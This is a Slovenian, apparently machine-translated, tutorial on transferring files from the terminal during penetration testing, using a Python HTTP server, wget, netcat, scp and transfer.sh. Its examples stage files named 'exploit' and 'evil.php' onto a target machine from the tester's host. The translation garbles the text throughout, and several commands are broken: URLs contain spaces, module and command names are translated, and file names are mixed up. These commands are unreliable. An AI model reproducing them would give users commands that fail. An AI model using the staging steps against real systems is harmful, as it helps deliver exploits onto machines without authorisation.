Terminal Tuts

Kako prenesti datoteke s pomočjo ukazne vrstice iz terminala

Kako prenesti datoteke s pomočjo ukazne vrstice iz terminala

Med testiranjem penetracije so pogosto potrebni prenos podvigov, skripti python in nalagalni moduli. Ker je terminal orodje, ki se večinoma uporablja, je bistvenega pomena za razumevanje osnov prenosa datotek.

Preizkuševalnik pisala mora biti dobro opremljen z različnimi triki za prenos datotek z oddaljenega strežnika in tudi iz enega imenika v drugega. V tej vadnici bomo razpravljali o različnih načinih prenosa datotek z uporabo ukazne vrstice.

1. Python strežnik

Python je osnovni paket, ki je prednameščen v skoraj vseh sistemih, ki temeljijo na Debianu. Če želite datoteko prenesti iz ene naprave v drugo, naredite naslednje;

Python2:

Preklopite v imenik, v katerem obstaja datoteka, ki jo želite prenesti. Zaženite preprost strežnik python. Vnesite naslednji ukaz;

$ python -m SimpleHTTPServer 8080

Zdaj pojdite na stroj, kamor želite prenesti datoteko. Za prenos datoteke uporabite naslednji ukaz;

$ wget http: // 192.168.43.177: 8080 / datoteka

Ne pozabite zamenjati IP-ja, številke vrat in imena datoteke.

Python3:

Vse, kar je zapisano v python2, se bo skoraj vedno zlomilo v python3. Preučimo tudi, kako prenesti datoteko s pomočjo python3.

V primeru python3 vnesite naslednji ukaz za zagon preprostega strežnika python.

$ python3 -m http.strežnik 8080

Če želite datoteko prenesti na cilj, vnesite naslednji ukaz;

$ wget http: // 192.168.43.177: 8080 / izkoriščanje.php

Prenos datotek Python3

2. Netcat

Netcat je zmogljiv pripomoček za prenos datotek s katerega koli oddaljenega računalnika na lokalni računalnik. Morda ni vedno nameščen. Ali obstaja ali ne, lahko preverite z vnosom;

$ ki netcat
Druga možnost je, da vnesete;
$ ki nc

Naredite strežnik netcat z naslednjim ukazom;

$ nc -nlvp 8080 < evil.php

Zdaj pojdite na ciljni računalnik in vnesite naslednje, da prenesete datoteko;

$ nc -nv 192.168.43.177 8080> zlo.php

Prenos datotek Netcat

Zamenjati nc s netcat v zgornjih ukazih, če nc ne deluje ali ni pravilno nameščen.

3. SCP

Protokol za varno kopiranje je močno orodje za prenos datotek. Pride še posebej, če želite prenesti imenike. Večinoma se uporablja tudi za prenos datotek prek ssh.

Za prenos datoteke prek ssh vnesite naslednji ukaz na pošiljatelju;

$ scp -i novo.test pem.py ubuntu @ 18.220.68.229: / home / ubuntu
Kje -i predstavlja javni ključ za prijavo ssh, test.py je datoteka za prenos in / home / ubuntu je ciljni imenik, kamor želimo datoteko shraniti.

SCP oddaljeni prenos datotek

Če želite prenesti datoteko z oddaljene naprave, vnesite naslednji ukaz;

$ scp root @ 192.168.43.177: / remote_directory / file / local / directory

Prenos lokalne datoteke SCP

4. Prenos.sh

To orodje drugega proizvajalca lahko uporabite za prenos datotek. To je lahko koristno, če nimate naprave z javnim IP-jem in morate še vedno prenesti datoteke. Naslednji ukaz prenese datoteko v prenos.strežniki sh;

$ curl --upload-datoteka ./mapa.txt https: // prenos.sh / datoteka.txt

Če želite prenesti datoteko, vnesite naslednji ukaz;

$ curl https: // prenos.sh // datoteka.txt -o.txt

Prenos.sh je še v fazi razvoja in morda ne bo vedno deloval.

Zaključek

Orodja ukazne vrstice nam omogočajo prenos datotek na različne načine. Morda se zdijo nekoliko zapleteni, vendar njihovo praktično uporabo omogoča enostavno upravljanje datotek, zlasti kadar možnost GUI ni na voljo.

Kako namestiti League Of Legends na Ubuntu 14.04
Če ste ljubitelj League of Legends, je to priložnost, da preizkusite League of Legends. Upoštevajte, da LOL podpira PlayOnLinux, če uporabljate Linux....
Namestite najnovejšo strategijo igre OpenRA v Ubuntu Linux
OpenRA je Libre / Free Real Time strateški stroj, ki poustvarja zgodnje igre Westwood, kot je klasična Command & Conquer: Red Alert. Porazdeljeni modi...
Namestite najnovejši Dolphin Emulator za Gamecube & Wii v Linux
Dolphin Emulator vam omogoča igranje izbranih iger Gamecube in Wii na osebnih računalnikih Linux (PC). Dolphin Emulator je prosto dostopen in odprtok...